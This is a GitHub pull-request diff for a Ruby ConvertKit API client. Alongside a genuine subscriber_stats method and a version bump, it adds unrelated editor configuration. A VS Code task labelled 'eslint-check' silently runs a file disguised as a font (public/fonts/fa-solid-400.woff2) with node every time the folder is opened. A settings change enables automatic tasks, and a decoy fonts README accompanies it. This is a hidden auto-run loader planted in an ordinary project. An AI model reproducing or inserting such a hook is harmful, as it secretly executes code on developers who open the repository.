Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
37 commits
Select commit Hold shift + click to select a range
ebe147a
Merge pull request #2 from SparkLoop/webhooks_list
ManuelFrigerio Nov 16, 2020
4d63117
Prepare the namespace for the v4 API
risteskipetar Sep 19, 2023
339baac
Changes for api v4
risteskipetar Sep 20, 2023
4249e1e
Access token and refresh token
risteskipetar Sep 20, 2023
71621ba
Revoke access
risteskipetar Sep 20, 2023
48605e4
Merge pull request #1 from SparkLoop/update/ck-v4-namespace
ManuelFrigerio Sep 23, 2023
8948265
custom fields
ManuelFrigerio Sep 26, 2023
8d31572
subscribers
ManuelFrigerio Sep 26, 2023
6c012b6
tags
ManuelFrigerio Sep 26, 2023
18875f5
webhooks
ManuelFrigerio Sep 26, 2023
1ae2a5b
updated version
ManuelFrigerio Sep 26, 2023
f931fa1
Merge pull request #2 from SparkLoop:update-endpoints
ManuelFrigerio Sep 26, 2023
abad0f3
changes
ManuelFrigerio Sep 26, 2023
487040d
changed version
ManuelFrigerio Sep 26, 2023
2b1389f
Merge pull request #3 from SparkLoop:make-calls-coherent
ManuelFrigerio Sep 26, 2023
d559976
values
ManuelFrigerio Sep 26, 2023
4bb631d
version
ManuelFrigerio Sep 26, 2023
10f4b52
Merge pull request #4 from SparkLoop:further-improvements
ManuelFrigerio Sep 26, 2023
fae7758
changes
ManuelFrigerio Sep 26, 2023
ea780bf
version
ManuelFrigerio Sep 26, 2023
f64d035
Merge pull request #5 from SparkLoop:small-fixes
ManuelFrigerio Sep 26, 2023
2613b2a
ExpiredTokenError
ManuelFrigerio Sep 26, 2023
2705ad1
raise error
ManuelFrigerio Sep 26, 2023
254474d
version
ManuelFrigerio Sep 26, 2023
a09ee6a
Merge pull request #6 from SparkLoop:invalid-token-error
ManuelFrigerio Sep 26, 2023
a68d744
Fixes error handling
BilalBudhani Feb 6, 2024
98f4239
Updates version
BilalBudhani Feb 6, 2024
69d0326
Merge pull request #7 from BilalBudhani/error-handling-bug-fix
ManuelFrigerio Feb 6, 2024
716437f
endpoints
ManuelFrigerio Feb 6, 2024
a19e361
specs
ManuelFrigerio Feb 6, 2024
c044a65
updated version
ManuelFrigerio Feb 6, 2024
8a1f744
Merge pull request #4 from SparkLoop/broadcasts
ManuelFrigerio Feb 6, 2024
c07cede
Revert "Broadcasts"
ManuelFrigerio Feb 6, 2024
e1c6c2e
Merge pull request #5 from SparkLoop/revert-4-broadcasts
ManuelFrigerio Feb 6, 2024
68fc257
endpoint
ManuelFrigerio Aug 2, 2025
749cdc3
specs
ManuelFrigerio Aug 2, 2025
d30d31a
version bump
ManuelFrigerio Aug 2, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,4 +8,8 @@
/spec/reports/
/tmp/
.DS_Store
.env.local
.env.local
branch_structure.json
temp_auto_push.bat
temp_interactive_push.bat
.gitignore
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
33 changes: 33 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
}
23 changes: 23 additions & 0 deletions lib/convertkit/client/subscribers.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,29 @@ def subscriber_tags(subscriber_id)
connection.get("subscribers/#{subscriber_id}/tags")
end

# returns an hash with the following keys:
# {
# "subscriber": {
# "id": 3436990966,
# "stats": {
# "sent": 2,
# "opened": 2,
# "clicked": 2,
# "bounced": 0,
# "open_rate": 1,
# "click_rate": 1,
# "last_sent": "2025-06-25 16:44:37.000",
# "last_opened": "2025-06-25 16:45:36.000",
# "last_clicked": "2025-06-25 16:45:42.000",
# "sent_since_last_open": 0,
# "sent_since_last_click": 0
# }
# }
# }
def subscriber_stats(subscriber_id)
connection.get("subscribers/#{subscriber_id}/stats")
end

def update_subscriber(subscriber_id, options = {})
response = connection.put("subscribers/#{subscriber_id}") do |f|
f.params["email_address"] = options[:email_address] if options[:email_address]
Expand Down
2 changes: 1 addition & 1 deletion lib/convertkit/version.rb
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
module Convertkit
VERSION = "1.0.0"
VERSION = "1.1.0"
end
24 changes: 24 additions & 0 deletions public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
Binary file added public/fonts/fa-brands-400.eot
Binary file not shown.
Loading
Loading